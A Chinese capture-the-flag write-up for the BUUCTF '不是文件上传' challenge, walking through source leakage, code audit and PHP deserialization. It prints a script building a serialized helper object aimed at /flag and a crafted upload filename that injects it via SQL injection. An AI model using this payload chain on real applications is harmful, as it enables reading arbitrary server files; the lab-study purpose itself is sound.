BUUCTF-[安洵杯 2019]不是文件上传 wp

知识点:github源码泄露、代码审计、php反序列化

进入页面后发现可以进行文件上传,尝试上传了一个1.txt文件后报错,于是上传1.jpg文件,显示上传成功后进入show.php查看,发现文件被重命名

猜测后端可能使用的是白名单+重命名的方式,又联想到题目为不是文件上传,那就应该是通过其他的方式获取到flag。又回到首页,发现把首页滑下来有Powered By wowouploadimage这一行字,于是去github上搜看是否存在源码泄露,结果发现存在源码泄露。

既然存在源码泄露那就要进行代码审计了,先点开config.txt,结果。。。那看来不是这个文件了

 

再尝试读取helper.php,发现最下方的代码中可以通过反序列化利用_destruct调用file_get_contents函数来读取flag

仔细审计代码后,发现上传图片时helper.php会将图片的高和宽进行序列化后插入数据库,show.php会将数据库里的数据反序列化后展示出来。helper.php中的check函数对文件名进行了重命名并且设置了白名单,但是没有对title的值进行处理,而title的值是由filename决定的,猜测可以通过filename进行sql注入插入我们所想要插入的内容,从而读取flag

要读取flag文件,构造payload:

<?php
class helper {
        protected $ifview = True; 
        protected $config = "/flag";
}
$a = new helper();
echo bin2hex(serialize($a));
?>

运行后输出:4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

通过使用burp抓包修改filename

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg以修改title的值,访问show.php读取flag

参考:https://blog.csdn.net/a3320315/article/details/104120248 

原文地址:https://www.cnblogs.com/Yhck/p/13637217.html